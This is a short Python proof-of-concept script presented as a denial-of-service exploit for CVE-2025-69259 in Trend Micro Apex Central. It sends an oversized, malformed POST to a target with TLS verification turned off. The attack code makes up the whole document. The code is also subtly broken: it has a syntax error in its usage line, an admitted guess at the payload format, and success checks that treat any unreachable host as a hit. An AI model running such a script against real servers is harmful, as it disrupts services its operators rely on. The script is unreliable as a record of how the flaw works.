CVE-2025-69259

#!/usr/bin/env python3 # CVE-2025-69259 PoC - Trend Micro Apex Central NULL Return Value DoS # This PoC demonstrates sending a malformed request to trigger the NULL return value vulnerability import requests import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def exploit(target_url): """ Send a crafted request to trigger the NULL return value vulnerability in Trend Micro Apex Central message handling. """ # Malformed message designed to trigger NULL return in message processing # This is a simplified PoC - actual exploitation may require specific message format payload = { 'action': 'message_process', 'data': 'A' * 1000, # Oversized data to potentially cause NULL return 'type': None # Explicitly set to None to trigger NULL handling issue } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } print(f'[*] Target: {target_url}') print(f'[*] Sending crafted request to trigger CVE-2025-69259...') try: response = requests.post( target_url, data=payload, headers=headers, verify=False, timeout=30 ) print(f'[+] Request sent successfully') print(f'[+] Status Code: {response.status_code}') # Check if target became unresponsive if response.status_code == 0 or response.elapsed.total_seconds() > 10: print('[+] Target appears to be affected - possible DoS condition') return True except requests.exceptions.Timeout: print('[+] Target timed out - possible DoS condition detected') return True except requests.exceptions.ConnectionError: print('[+] Cannot connect to target - DoS condition likely achieved') return True except Exception as e: print(f'[-] Error: {str(e)}') return False return False if __name__ == '__main__': if len(sys.argv) != 2: print(f'Usage: {sys.argv[0]} <target_url>') print(f'Example: {sys.argv[0]} https://apex-central.example.com/' sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

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